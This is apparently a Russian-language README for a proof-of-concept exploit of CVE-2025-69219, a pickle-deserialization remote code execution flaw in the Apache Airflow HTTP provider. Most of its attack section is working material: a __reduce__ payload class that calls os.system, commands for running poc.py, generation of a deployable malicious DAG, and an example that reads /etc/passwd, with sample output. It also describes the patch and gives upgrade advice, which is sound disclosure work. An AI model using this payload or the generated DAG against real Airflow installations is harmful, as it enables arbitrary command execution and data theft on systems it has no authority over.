
Эксплойт proof-of-concept для CVE-2025-69219, демонстрирующий удалённое выполнение кода в Apache Airflow Providers HTTP через небезопасную десериализацию pickle. Включает PoC-скрипты, технический анализ и рекомендации по смягчению последствий.
Серьёзность: Высокая (CVSS 3.1: 8.8)
Вектор:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Некорректный контроль динамически управляемых ресурсов кода
Затронутые версии:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Исправлено в:apache-airflow-providers-http == 6.0.0
Патч: apache/airflow#61662 · коммит 97839f7
HTTP-провайдер Apache Airflow использовал модуль pickle языка Python для сериализации и десериализации ответов HTTP-триггеров для отложенных задач. Уязвимый приёмник (sink) в HttpOperator.execute_complete() выглядел так:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
Словарь event считывается из базы данных Airflow, то есть любой субъект с правами записи в БД может внедрить вредоносную pickle-нагрузку. Когда воркер Triggerer обрабатывает отложенную задачу, он вслепую десериализует эту нагрузку, выполняя произвольные команды ОС с правами процесса Triggerer — что эквивалентно правам автора DAG.
Вызов pickle.loads() для недоверенных данных — операция, небезопасная по своей сути. Протокол __reduce__ модуля pickle позволяет встраивать в сериализованный блоб любой вызываемый объект Python, который будет вызван во время десериализации без какой-либо песочницы.
Triggerer Airflow сериализует HTTP-ответ в момент завершения задачи и сохраняет его в БД:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
Атакующий на уровне БД заменяет это значение специально сформированным pickle-блобом, например:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
Затем Triggerer вызывает execute_complete → pickle.loads() → RCE.
Патч полностью заменяет pickle на безопасный и явный JSON-сериализатор:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
Новый десериализатор восстанавливает объект requests.Response только из известных полей (status_code, headers, content и т. д.) — выполнение произвольного кода невозможно.
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Воспроизводит уязвимый вызов pickle.loads() в рамках процесса:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
Пример вывода:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
Проверьте журналы задач — там будет вывод команды.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Фактор | Детали |
|---|---|
| Кто может эксплуатировать | Любой пользователь с прямым доступом на запись в БД Airflow |
| Контекст выполнения | Процесс воркера Triggerer (те же права, что у автора DAG) |
| Вероятность | Низкая — прямой доступ к БД нестандартен для корректно настроенных развёртываний |
| Радиус поражения | Полная RCE на узле Triggerer: эксфильтрация данных, горизонтальное перемещение, закрепление в системе |
apache-airflow-providers-http до версии 6.0.0 или новее.deferrable=True) завершены или очищены: выполняющиеся задачи, сериализованные с помощью pickle, после обновления вызовут ошибку TypeError (критическое изменение описано в журнале изменений провайдера).pip install "apache-airflow-providers-http>=6.0.0"
| Дата | Событие |
|---|---|
| 2026-03-09 | CVE опубликован Apache Software Foundation |
| 2026-03-09 | Исправление объединено (PR #61662, коммит 97839f7) |
| 2026-03-09 | Раскрыто в списке рассылки oss-security |
PoC в этом репозитории основан на оригинальной работе @ahmetartuc.
Данный proof-of-concept публикуется исключительно в образовательных целях и для исследований в области безопасности. Проводите тестирование только на системах, которыми вы владеете или на которые у вас есть явное письменное разрешение. Авторы не несут ответственности за любое неправомерное использование.